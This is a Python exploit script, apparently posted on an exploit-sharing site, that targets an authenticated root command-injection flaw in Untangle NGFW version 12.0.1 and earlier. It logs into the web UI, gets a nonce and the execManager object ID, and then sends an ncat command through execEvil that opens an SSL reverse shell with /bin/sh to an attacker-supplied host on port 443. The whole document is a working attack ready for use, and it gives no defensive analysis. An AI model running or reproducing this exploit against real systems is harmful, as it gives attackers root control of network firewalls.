import json, requests, sys
if len(sys.argv) < 5:
print "[!] usage: " + sys.argv[0] + " <RHOST> <LHOST> <username> <password>"
print "[!] and in a separate terminal: 'ncat --ssl -nlvp 443'"
sys.exit()
print "\nUntangle NGFW <= v12.0.1 execEvil() authenticated root CI exploit"
print " by @3xocyte\n"
rhost = sys.argv[1]
lhost = sys.argv[2]
username = sys.argv[3]
password = sys.argv[4]
login_url = "http://" + rhost + "/auth/login?url=/webui&realm=Administrator"
rpc_url = "http://" + rhost + "/webui/JSON-RPC"
auth = {'username': username, 'password': password}
print "[*] Opening session..."
session = requests.Session()
print "[*] Authenticating..."
try:
login = session.post(login_url, data=auth)
get_nonce = {"id":1,"nonce":"","method":"system.getNonce","params":[]}
req_nonce = session.post(rpc_url, data=json.dumps(get_nonce))
data = json.loads(req_nonce.text)
nonce = data['result']
except:
print "[!] Authentication failed. Quitting."
sys.exit()
print "[*] Getting execManager objectID..."
try:
get_obj_id = {"id":2,"nonce":nonce,"method":"UvmContext.getWebuiStartupInfo","params":[]}
req_obj_id = session.post(rpc_url, data=json.dumps(get_obj_id))
data = json.loads(req_obj_id.text)
object_id = data['result']['execManager']['objectID']
except:
print "[!] Could not get execManager objectID. Quitting."
sys.exit()
print "[*] Exploiting Ung.Main.getExecManager().execEvil()..."
try:
exploit = {"id":3,"nonce":nonce,"method":".obj#" + str(object_id) + ".execEvil","params":["ncat --ssl -e /bin/sh " + lhost + " 443"]}
session.post(rpc_url, data=json.dumps(exploit))
except:
print "[!] Exploit failed. Quitting."
sys.exit()
print "[*] Exploit sent!"
Recommended Comments